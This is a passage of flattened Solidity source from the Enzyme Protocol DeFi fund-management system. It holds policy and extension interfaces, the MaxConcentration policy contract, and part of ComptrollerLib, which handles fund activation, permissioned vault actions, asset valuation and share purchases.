) external returns (bool isValid_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title PolicyManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the PolicyManager
interface IPolicyManager {
enum PolicyHook {
BuySharesSetup,
PreBuyShares,
PostBuyShares,
BuySharesCompleted,
PreCallOnIntegration,
PostCallOnIntegration
}
function validatePolicies(
address,
PolicyHook,
bytes calldata
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigratableVault Interface
/// @author Enzyme Council <[email protected]>
/// @dev DO NOT EDIT CONTRACT
interface IMigratableVault {
function canMigrate(address _who) external view returns (bool canMigrate_);
function init(
address _owner,
address _accessor,
string calldata _fundName
) external;
function setAccessor(address _nextAccessor) external;
function setVaultLib(address _nextVaultLib) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IComptroller Interface
/// @author Enzyme Council <[email protected]>
interface IComptroller {
enum VaultAction {
None,
BurnShares,
MintShares,
TransferShares,
ApproveAssetSpender,
WithdrawAssetTo,
AddTrackedAsset,
RemoveTrackedAsset
}
function activate(address, bool) external;
function calcGav(bool) external returns (uint256, bool);
function calcGrossShareValue(bool) external returns (uint256, bool);
function callOnExtension(
address,
uint256,
bytes calldata
) external;
function configureExtensions(bytes calldata, bytes calldata) external;
function destruct() external;
function getDenominationAsset() external view returns (address);
function getVaultProxy() external view returns (address);
function init(address, uint256) external;
function permissionedVaultAction(VaultAction, bytes calldata) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExtension Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all extensions
interface IExtension {
function activateForFund(bool _isMigration) external;
function deactivateForFund() external;
function receiveCallFromComptroller(
address _comptrollerProxy,
uint256 _actionId,
bytes calldata _callArgs
) external;
function setConfigForFund(bytes calldata _configData) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../IPolicy.sol";
/// @title PolicyBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Abstract base contract for all policies
abstract contract PolicyBase is IPolicy {
address internal immutable POLICY_MANAGER;
modifier onlyPolicyManager {
require(msg.sender == POLICY_MANAGER, "Only the PolicyManager can make this call");
_;
}
constructor(address _policyManager) public {
POLICY_MANAGER = _policyManager;
}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @dev Unimplemented by default, can be overridden by the policy
function activateForFund(address, address) external virtual override {
return;
}
/// @notice Updates the policy settings for a fund
/// @dev Disallowed by default, can be overridden by the policy
function updateFundSettings(
address,
address,
bytes calldata
) external virtual override {
revert("updateFundSettings: Updates not allowed for this policy");
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `POLICY_MANAGER` variable value
/// @return policyManager_ The `POLICY_MANAGER` variable value
function getPolicyManager() external view returns (address policyManager_) {
return POLICY_MANAGER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title CallOnIntegrationPostValidatePolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the PostCallOnIntegration policy hook
abstract contract PostCallOnIntegrationValidatePolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.PostCallOnIntegration;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedRuleArgs)
internal
pure
returns (
address adapter_,
bytes4 selector_,
address[] memory incomingAssets_,
uint256[] memory incomingAssetAmounts_,
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_
)
{
return
abi.decode(
_encodedRuleArgs,
(address, bytes4, address[], uint256[], address[], uint256[])
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../core/fund/comptroller/ComptrollerLib.sol";
import "../../../../core/fund/vault/VaultLib.sol";
import "../../../../infrastructure/value-interpreter/ValueInterpreter.sol";
import "./utils/PostCallOnIntegrationValidatePolicyBase.sol";
/// @title MaxConcentration Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that defines a configurable threshold for the concentration of any one asset
/// in a fund's holdings
contract MaxConcentration is PostCallOnIntegrationValidatePolicyBase {
using SafeMath for uint256;
event MaxConcentrationSet(address indexed comptrollerProxy, uint256 value);
uint256 private constant ONE_HUNDRED_PERCENT = 10**18; // 100%
address private immutable VALUE_INTERPRETER;
mapping(address => uint256) private comptrollerProxyToMaxConcentration;
constructor(address _policyManager, address _valueInterpreter)
public
PolicyBase(_policyManager)
{
VALUE_INTERPRETER = _valueInterpreter;
}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
/// @dev No need to authenticate access, as there are no state transitions
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyPolicyManager
{
require(
passesRule(_comptrollerProxy, _vaultProxy, VaultLib(_vaultProxy).getTrackedAssets()),
"activateForFund: Max concentration exceeded"
);
}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
uint256 maxConcentration = abi.decode(_encodedSettings, (uint256));
require(maxConcentration > 0, "addFundSettings: maxConcentration must be greater than 0");
require(
maxConcentration <= ONE_HUNDRED_PERCENT,
"addFundSettings: maxConcentration cannot exceed 100%"
);
comptrollerProxyToMaxConcentration[_comptrollerProxy] = maxConcentration;
emit MaxConcentrationSet(_comptrollerProxy, maxConcentration);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "MAX_CONCENTRATION";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
/// @param _assets The assets with which to check the rule
/// @return isValid_ True if the rule passes
/// @dev The fund's denomination asset is exempt from the policy limit.
function passesRule(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _assets
) public returns (bool isValid_) {
uint256 maxConcentration = comptrollerProxyToMaxConcentration[_comptrollerProxy];
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
address denominationAsset = comptrollerProxyContract.getDenominationAsset();
// Does not require asset finality, otherwise will fail when incoming asset is a Synth
(uint256 totalGav, bool gavIsValid) = comptrollerProxyContract.calcGav(false);
if (!gavIsValid) {
return false;
}
for (uint256 i = 0; i < _assets.length; i++) {
address asset = _assets[i];
if (
!__rulePassesForAsset(
_vaultProxy,
denominationAsset,
maxConcentration,
totalGav,
asset
)
) {
return false;
}
}
return true;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address _vaultProxy,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, , address[] memory incomingAssets, , , ) = __decodeRuleArgs(_encodedArgs);
if (incomingAssets.length == 0) {
return true;
}
return passesRule(_comptrollerProxy, _vaultProxy, incomingAssets);
}
/// @dev Helper to check if the rule holds for a particular asset.
/// Avoids the stack-too-deep error.
function __rulePassesForAsset(
address _vaultProxy,
address _denominationAsset,
uint256 _maxConcentration,
uint256 _totalGav,
address _incomingAsset
) private returns (bool isValid_) {
if (_incomingAsset == _denominationAsset) return true;
uint256 assetBalance = ERC20(_incomingAsset).balanceOf(_vaultProxy);
(uint256 assetGav, bool assetGavIsValid) = ValueInterpreter(VALUE_INTERPRETER)
.calcLiveAssetValue(_incomingAsset, assetBalance, _denominationAsset);
if (
!assetGavIsValid ||
assetGav.mul(ONE_HUNDRED_PERCENT).div(_totalGav) > _maxConcentration
) {
return false;
}
return true;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the maxConcentration for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return maxConcentration_ The maxConcentration
function getMaxConcentrationForFund(address _comptrollerProxy)
external
view
returns (uint256 maxConcentration_)
{
return comptrollerProxyToMaxConcentration[_comptrollerProxy];
}
/// @notice Gets the `VALUE_INTERPRETER` variable
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() external view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../extensions/IExtension.sol";
import "../../../extensions/fee-manager/IFeeManager.sol";
import "../../../extensions/policy-manager/IPolicyManager.sol";
import "../../../infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol";
import "../../../infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../../utils/AddressArrayLib.sol";
import "../../../utils/AssetFinalityResolver.sol";
import "../../fund-deployer/IFundDeployer.sol";
import "../vault/IVault.sol";
import "./IComptroller.sol";
/// @title ComptrollerLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core logic library shared by all funds
contract ComptrollerLib is IComptroller, AssetFinalityResolver {
using AddressArrayLib for address[];
using SafeMath for uint256;
using SafeERC20 for ERC20;
event MigratedSharesDuePaid(uint256 sharesDue);
event OverridePauseSet(bool indexed overridePause);
event PreRedeemSharesHookFailed(
bytes failureReturnData,
address redeemer,
uint256 sharesQuantity
);
event SharesBought(
address indexed caller,
address indexed buyer,
uint256 investmentAmount,
uint256 sharesIssued,
uint256 sharesReceived
);
event SharesRedeemed(
address indexed redeemer,
uint256 sharesQuantity,
address[] receivedAssets,
uint256[] receivedAssetQuantities
);
event VaultProxySet(address vaultProxy);
// Constants and immutables - shared by all proxies
uint256 private constant SHARES_UNIT = 10**18;
address private immutable DISPATCHER;
address private immutable FUND_DEPLOYER;
address private immutable FEE_MANAGER;
address private immutable INTEGRATION_MANAGER;
address private immutable PRIMITIVE_PRICE_FEED;
address private immutable POLICY_MANAGER;
address private immutable VALUE_INTERPRETER;
// Pseudo-constants (can only be set once)
address internal denominationAsset;
address internal vaultProxy;
// True only for the one non-proxy
bool internal isLib;
// Storage
// Allows a fund owner to override a release-level pause
bool internal overridePause;
// A reverse-mutex, granting atomic permission for particular contracts to make vault calls
bool internal permissionedVaultActionAllowed;
// A mutex to protect against reentrancy
bool internal reentranceLocked;
// A timelock between any "shares actions" (i.e., buy and redeem shares), per-account
uint256 internal sharesActionTimelock;
mapping(address => uint256) internal acctToLastSharesAction;
///////////////
// MODIFIERS //
///////////////
modifier allowsPermissionedVaultAction {
__assertPermissionedVaultActionNotAllowed();
permissionedVaultActionAllowed = true;
_;
permissionedVaultActionAllowed = false;
}
modifier locksReentrance() {
__assertNotReentranceLocked();
reentranceLocked = true;
_;
reentranceLocked = false;
}
modifier onlyActive() {
__assertIsActive(vaultProxy);
_;
}
modifier onlyNotPaused() {
__assertNotPaused();
_;
}
modifier onlyFundDeployer() {
__assertIsFundDeployer(msg.sender);
_;
}
modifier onlyOwner() {
__assertIsOwner(msg.sender);
_;
}
modifier timelockedSharesAction(address _account) {
__assertSharesActionNotTimelocked(_account);
_;
acctToLastSharesAction[_account] = block.timestamp;
}
// ASSERTION HELPERS
// Modifiers are inefficient in terms of contract size,
// so we use helper functions to prevent repetitive inlining of expensive string values.
/// @dev Since vaultProxy is set during activate(),
/// we can check that var rather than storing additional state
function __assertIsActive(address _vaultProxy) private pure {
require(_vaultProxy != address(0), "Fund not active");
}
function __assertIsFundDeployer(address _who) private view {
require(_who == FUND_DEPLOYER, "Only FundDeployer callable");
}
function __assertIsOwner(address _who) private view {
require(_who == IVault(vaultProxy).getOwner(), "Only fund owner callable");
}
function __assertLowLevelCall(bool _success, bytes memory _returnData) private pure {
require(_success, string(_returnData));
}
function __assertNotPaused() private view {
require(!__fundIsPaused(), "Fund is paused");
}
function __assertNotReentranceLocked() private view {
require(!reentranceLocked, "Re-entrance");
}
function __assertPermissionedVaultActionNotAllowed() private view {
require(!permissionedVaultActionAllowed, "Vault action re-entrance");
}
function __assertSharesActionNotTimelocked(address _account) private view {
require(
block.timestamp.sub(acctToLastSharesAction[_account]) >= sharesActionTimelock,
"Shares action timelocked"
);
}
constructor(
address _dispatcher,
address _fundDeployer,
address _valueInterpreter,
address _feeManager,
address _integrationManager,
address _policyManager,
address _primitivePriceFeed,
address _synthetixPriceFeed,
address _synthetixAddressResolver
) public AssetFinalityResolver(_synthetixPriceFeed, _synthetixAddressResolver) {
DISPATCHER = _dispatcher;
FEE_MANAGER = _feeManager;
FUND_DEPLOYER = _fundDeployer;
INTEGRATION_MANAGER = _integrationManager;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
POLICY_MANAGER = _policyManager;
VALUE_INTERPRETER = _valueInterpreter;
isLib = true;
}
/////////////
// GENERAL //
/////////////
/// @notice Calls a specified action on an Extension
/// @param _extension The Extension contract to call (e.g., FeeManager)
/// @param _actionId An ID representing the action to take on the extension (see extension)
/// @param _callArgs The encoded data for the call
/// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy
/// (for access control). Uses a mutex of sorts that allows "permissioned vault actions"
/// during calls originating from this function.
function callOnExtension(
address _extension,
uint256 _actionId,
bytes calldata _callArgs
) external override onlyNotPaused onlyActive locksReentrance allowsPermissionedVaultAction {
require(
_extension == FEE_MANAGER || _extension == INTEGRATION_MANAGER,
"callOnExtension: _extension invalid"
);
IExtension(_extension).receiveCallFromComptroller(msg.sender, _actionId, _callArgs);
}
/// @notice Sets or unsets an override on a release-wide pause
/// @param _nextOverridePause True if the pause should be overrode
function setOverridePause(bool _nextOverridePause) external onlyOwner {
require(_nextOverridePause != overridePause, "setOverridePause: Value already set");
overridePause = _nextOverridePause;
emit OverridePauseSet(_nextOverridePause);
}
/// @notice Makes an arbitrary call with the VaultProxy contract as the sender
/// @param _contract The contract to call
/// @param _selector The selector to call
/// @param _encodedArgs The encoded arguments for the call
function vaultCallOnContract(
address _contract,
bytes4 _selector,
bytes calldata _encodedArgs
) external onlyNotPaused onlyActive onlyOwner {
require(
IFundDeployer(FUND_DEPLOYER).isRegisteredVaultCall(_contract, _selector),
"vaultCallOnContract: Unregistered"
);
IVault(vaultProxy).callOnContract(_contract, abi.encodePacked(_selector, _encodedArgs));
}
/// @dev Helper to check whether the release is paused, and that there is no local override
function __fundIsPaused() private view returns (bool) {
return
IFundDeployer(FUND_DEPLOYER).getReleaseStatus() ==
IFundDeployer.ReleaseStatus.Paused &&
!overridePause;
}
////////////////////////////////
// PERMISSIONED VAULT ACTIONS //
////////////////////////////////
/// @notice Makes a permissioned, state-changing call on the VaultProxy contract
/// @param _action The enum representing the VaultAction to perform on the VaultProxy
/// @param _actionData The call data for the action to perform
function permissionedVaultAction(VaultAction _action, bytes calldata _actionData)
external
override
onlyNotPaused
onlyActive
{
__assertPermissionedVaultAction(msg.sender, _action);
if (_action == VaultAction.AddTrackedAsset) {
__vaultActionAddTrackedAsset(_actionData);
} else if (_action == VaultAction.ApproveAssetSpender) {
__vaultActionApproveAssetSpender(_actionData);
} else if (_action == VaultAction.BurnShares) {
__vaultActionBurnShares(_actionData);
} else if (_action == VaultAction.MintShares) {
__vaultActionMintShares(_actionData);
} else if (_action == VaultAction.RemoveTrackedAsset) {
__vaultActionRemoveTrackedAsset(_actionData);
} else if (_action == VaultAction.TransferShares) {
__vaultActionTransferShares(_actionData);
} else if (_action == VaultAction.WithdrawAssetTo) {
__vaultActionWithdrawAssetTo(_actionData);
}
}
/// @dev Helper to assert that a caller is allowed to perform a particular VaultAction
function __assertPermissionedVaultAction(address _caller, VaultAction _action) private view {
require(
permissionedVaultActionAllowed,
"__assertPermissionedVaultAction: No action allowed"
);
if (_caller == INTEGRATION_MANAGER) {
require(
_action == VaultAction.ApproveAssetSpender ||
_action == VaultAction.AddTrackedAsset ||
_action == VaultAction.RemoveTrackedAsset ||
_action == VaultAction.WithdrawAssetTo,
"__assertPermissionedVaultAction: Not valid for IntegrationManager"
);
} else if (_caller == FEE_MANAGER) {
require(
_action == VaultAction.BurnShares ||
_action == VaultAction.MintShares ||
_action == VaultAction.TransferShares,
"__assertPermissionedVaultAction: Not valid for FeeManager"
);
} else {
revert("__assertPermissionedVaultAction: Not a valid actor");
}
}
/// @dev Helper to add a tracked asset to the fund
function __vaultActionAddTrackedAsset(bytes memory _actionData) private {
address asset = abi.decode(_actionData, (address));
IVault(vaultProxy).addTrackedAsset(asset);
}
/// @dev Helper to grant a spender an allowance for a fund's asset
function __vaultActionApproveAssetSpender(bytes memory _actionData) private {
(address asset, address target, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).approveAssetSpender(asset, target, amount);
}
/// @dev Helper to burn fund shares for a particular account
function __vaultActionBurnShares(bytes memory _actionData) private {
(address target, uint256 amount) = abi.decode(_actionData, (address, uint256));
IVault(vaultProxy).burnShares(target, amount);
}
/// @dev Helper to mint fund shares to a particular account
function __vaultActionMintShares(bytes memory _actionData) private {
(address target, uint256 amount) = abi.decode(_actionData, (address, uint256));
IVault(vaultProxy).mintShares(target, amount);
}
/// @dev Helper to remove a tracked asset from the fund
function __vaultActionRemoveTrackedAsset(bytes memory _actionData) private {
address asset = abi.decode(_actionData, (address));
// Allowing this to fail silently makes it cheaper and simpler
// for Extensions to not query for the denomination asset
if (asset != denominationAsset) {
IVault(vaultProxy).removeTrackedAsset(asset);
}
}
/// @dev Helper to transfer fund shares from one account to another
function __vaultActionTransferShares(bytes memory _actionData) private {
(address from, address to, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).transferShares(from, to, amount);
}
/// @dev Helper to withdraw an asset from the VaultProxy to a given account
function __vaultActionWithdrawAssetTo(bytes memory _actionData) private {
(address asset, address target, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).withdrawAssetTo(asset, target, amount);
}
///////////////
// LIFECYCLE //
///////////////
/// @notice Initializes a fund with its core config
/// @param _denominationAsset The asset in which the fund's value should be denominated
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @dev Pseudo-constructor per proxy.
/// No need to assert access because this is called atomically on deployment,
/// and once it's called, it cannot be called again.
function init(address _denominationAsset, uint256 _sharesActionTimelock) external override {
require(denominationAsset == address(0), "init: Already initialized");
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_denominationAsset),
"init: Bad denomination asset"
);
denominationAsset = _denominationAsset;
sharesActionTimelock = _sharesActionTimelock;
}
/// @notice Configure the extensions of a fund
/// @param _feeManagerConfigData Encoded config for fees to enable
/// @param _policyManagerConfigData Encoded config for policies to enable
/// @dev No need to assert anything beyond FundDeployer access.
/// Called atomically with init(), but after ComptrollerLib has been deployed,
/// giving access to its state and interface
function configureExtensions(
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external override onlyFundDeployer {
if (_feeManagerConfigData.length > 0) {
IExtension(FEE_MANAGER).setConfigForFund(_feeManagerConfigData);
}
if (_policyManagerConfigData.length > 0) {
IExtension(POLICY_MANAGER).setConfigForFund(_policyManagerConfigData);
}
}
/// @notice Activates the fund by attaching a VaultProxy and activating all Extensions
/// @param _vaultProxy The VaultProxy to attach to the fund
/// @param _isMigration True if a migrated fund is being activated
/// @dev No need to assert anything beyond FundDeployer access.
function activate(address _vaultProxy, bool _isMigration) external override onlyFundDeployer {
vaultProxy = _vaultProxy;
emit VaultProxySet(_vaultProxy);
if (_isMigration) {
// Distribute any shares in the VaultProxy to the fund owner.
// This is a mechanism to ensure that even in the edge case of a fund being unable
// to payout fee shares owed during migration, these shares are not lost.
uint256 sharesDue = ERC20(_vaultProxy).balanceOf(_vaultProxy);
if (sharesDue > 0) {
IVault(_vaultProxy).transferShares(
_vaultProxy,
IVault(_vaultProxy).getOwner(),
sharesDue
);
emit MigratedSharesDuePaid(sharesDue);
}
}
// Note: a future release could consider forcing the adding of a tracked asset here,
// just in case a fund is migrating from an old configuration where they are not able
// to remove an asset to get under the tracked assets limit
IVault(_vaultProxy).addTrackedAsset(denominationAsset);
// Activate extensions
IExtension(FEE_MANAGER).activateForFund(_isMigration);
IExtension(INTEGRATION_MANAGER).activateForFund(_isMigration);
IExtension(POLICY_MANAGER).activateForFund(_isMigration);
}
/// @notice Remove the config for a fund
/// @dev No need to assert anything beyond FundDeployer access.
/// Calling onlyNotPaused here rather than in the FundDeployer allows
/// the owner to potentially override the pause and rescue unpaid fees.
function destruct()
external
override
onlyFundDeployer
onlyNotPaused
allowsPermissionedVaultAction
{
// Failsafe to protect the libs against selfdestruct
require(!isLib, "destruct: Only delegate callable");
// Deactivate the extensions
IExtension(FEE_MANAGER).deactivateForFund();
IExtension(INTEGRATION_MANAGER).deactivateForFund();
IExtension(POLICY_MANAGER).deactivateForFund();
// Delete storage of ComptrollerProxy
// There should never be ETH in the ComptrollerLib, so no need to waste gas
// to get the fund owner
selfdestruct(address(0));
}
////////////////
// ACCOUNTING //
////////////////
/// @notice Calculates the gross asset value (GAV) of the fund
/// @param _requireFinality True if all assets must have exact final balances settled
/// @return gav_ The fund GAV
/// @return isValid_ True if the conversion rates used to derive the GAV are all valid
function calcGav(bool _requireFinality) public override returns (uint256 gav_, bool isValid_) {
address vaultProxyAddress = vaultProxy;
address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets();
if (assets.length == 0) {
return (0, true);
}
uint256[] memory balances = new uint256[](assets.length);
for (uint256 i; i < assets.length; i++) {
balances[i] = __finalizeIfSynthAndGetAssetBalance(
vaultProxyAddress,
assets[i],
_requireFinality
);
}
(gav_, isValid_) = IValueInterpreter(VALUE_INTERPRETER).calcCanonicalAssetsTotalValue(
assets,
balances,
denominationAsset
);
return (gav_, isValid_);
}
/// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset
/// @param _requireFinality True if all assets must have exact final balances settled
/// @return grossShareValue_ The amount of the denomination asset per share
/// @return isValid_ True if the conversion rates to derive the value are all valid
/// @dev Does not account for any fees outstanding.
function calcGrossShareValue(bool _requireFinality)
external
override
returns (uint256 grossShareValue_, bool isValid_)
{
uint256 gav;
(gav, isValid_) = calcGav(_requireFinality);
grossShareValue_ = __calcGrossShareValue(
gav,
ERC20(vaultProxy).totalSupply(),
10**uint256(ERC20(denominationAsset).decimals())
);
return (grossShareValue_, isValid_);
}
/// @dev Helper for calculating the gross share value
function __calcGrossShareValue(
uint256 _gav,
uint256 _sharesSupply,
uint256 _denominationAssetUnit
) private pure returns (uint256 grossShareValue_) {
if (_sharesSupply == 0) {
return _denominationAssetUnit;
}
return _gav.mul(SHARES_UNIT).div(_sharesSupply);
}
///////////////////
// PARTICIPATION //
///////////////////
// BUY SHARES
/// @notice Buys shares in the fund for multiple sets of criteria
/// @param _buyers The accounts for which to buy shares
/// @param _investmentAmounts The amounts of the fund's denomination asset
/// with which to buy shares for the corresponding _buyers
/// @param _minSharesQuantities The minimum quantities of shares to buy
/// with the corresponding _investmentAmounts
/// @return sharesReceivedAmounts_ The actual amounts of shares received
/// by the corresponding _buyers
/// @dev Param arrays have indexes corresponding to individual __buyShares() orders.
function buyShares(
address[] calldata _buyers,
uint256[] calldata _investmentAmounts,
uint256[] calldata _minSharesQuantities
)
external
onlyNotPaused
locksReentrance
allowsPermissionedVaultAction
returns (uint256[] memory sharesReceivedAmounts_)
{
require(_buyers.length > 0, "buyShares: Empty _buyers");
require(
_buyers.length == _investmentAmounts.length &&
_buyers.length == _minSharesQuantities.length,
"buyShares: Unequal arrays"
);
address vaultProxyCopy = vaultProxy;
__assertIsActive(vaultProxyCopy);
require(
!IDispatcher(DISPATCHER).hasMigrationRequest(vaultProxyCopy),
"buyShares: Pending migration"
);
(uint256 gav, bool gavIsValid) = calcGav(true);
require(gavIsValid, "buyShares: Invalid GAV");
__buySharesSetupHook(msg.sender, _investmentAmounts, gav);
address denominationAssetCopy = denominationAsset;
uint256 sharePrice = __calcGrossShareValue(
gav,
ERC20(vaultProxyCopy).totalSupply(),
10**uint256(ERC20(denominationAssetCopy).decimals())
);
sharesReceivedAmounts_ = new uint256[](_buyers.length);
for (uint256 i; i < _buyers.length; i++) {
sharesReceivedAmounts_[i] = __buyShares(
_buyers[i],
_investmentAmounts[i],
_minSharesQuantities[i],
vaultProxyCopy,
sharePrice,
gav,
denominationAssetCopy
);
gav = gav.add(_investmentAmounts[i]);
}
__buySharesCompletedHook(msg.sender, sharesReceivedAmounts_, gav);
return sharesReceivedAmounts_;
}
/// @dev Helper to buy shares
function __buyShares(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
address _vaultProxy,
uint256 _sharePrice,
uint256 _preBuySharesGav,
address _denominationAsset
) private timelockedSharesAction(_buyer) returns (uint256 sharesReceived_) {
require(_investmentAmount > 0, "__buyShares: Empty _investmentAmount");
// Gives Extensions a chance to run logic prior to the minting of bought shares
__preBuySharesHook(_buyer, _investmentAmount, _minSharesQuantity, _preBuySharesGav);
// Calculate the amount of shares to issue with the investment amount
uint256 sharesIssued = _investmentAmount.mul(SHARES_UNIT).div(_sharePrice);
// Mint shares to the buyer
uint256 prevBuyerShares = ERC20(_vaultProxy).balanceOf(_buyer);
IVault(_vaultProxy).mintShares(_buyer, sharesIssued);
// Transfer the investment asset to the fund.
// Does not follow the checks-effects-interactions pattern, but it is preferred
// to have the final state of the VaultProxy prior to running __postBuySharesHook().
ERC20(_denominationAsset).safeTransferFrom(msg.sender, _vaultProxy, _investmentAmount);
// Gives Extensions a chance to run logic after shares are issued
__postBuySharesHook(_buyer, _investmentAmount, sharesIssued, _preBuySharesGav);
// The number of actual shares received may differ from shares issued due to
// how the PostBuyShares hooks are invoked by Extensions (i.e., fees)
sharesReceived_ = ERC20(_vaultProxy).balanceOf(_buyer).sub(prevBuyerShares);
require(
sharesReceived_ >= _minSharesQuantity,
"__buyShares: Shares received < _minSharesQuantity"
);
emit SharesBought(msg.sender, _buyer, _investmentAmount, sharesIssued, sharesReceived_);
return sharesReceived_;
}
/// @dev Helper for Extension actions after all __buyShares() calls are made
function __buySharesCompletedHook(
address _caller,
uint256[] memory _sharesReceivedAmounts,
uint256 _gav
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.BuySharesCompleted,
abi.encode(_caller, _sharesReceivedAmounts, _gav)
);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.BuySharesCompleted,
abi.encode(_caller, _sharesReceivedAmounts),
_gav
);
}
/// @dev Helper for Extension actions before any __buyShares() calls are made
function __buySharesSetupHook(
address _caller,
uint256[] memory _investmentAmounts,
uint256 _gav
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.BuySharesSetup,
abi.encode(_caller, _investmentAmounts, _gav)
);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.BuySharesSetup,
abi.encode(_caller, _investmentAmounts),
_gav
);
}
/// @dev Helper for Extension actions immediately prior to issuing shares.
/// This could be cleaned up so both Extensions take the same encoded args and handle GAV
/// in the same way, but there is not the obvious need for gas savings of recycling
/// the GAV value for the current policies as there is for the fees.
function __preBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
uint256 _gav
) private {
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount, _minSharesQuantity),
_gav
);
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount, _minSharesQuantity, _gav)
);
}
/// @dev Helper for Extension actions immediately after issuing shares.
/// Same comment applies from __preBuySharesHook() above.
function __postBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _sharesIssued,
uint256 _preBuySharesGav
) private {
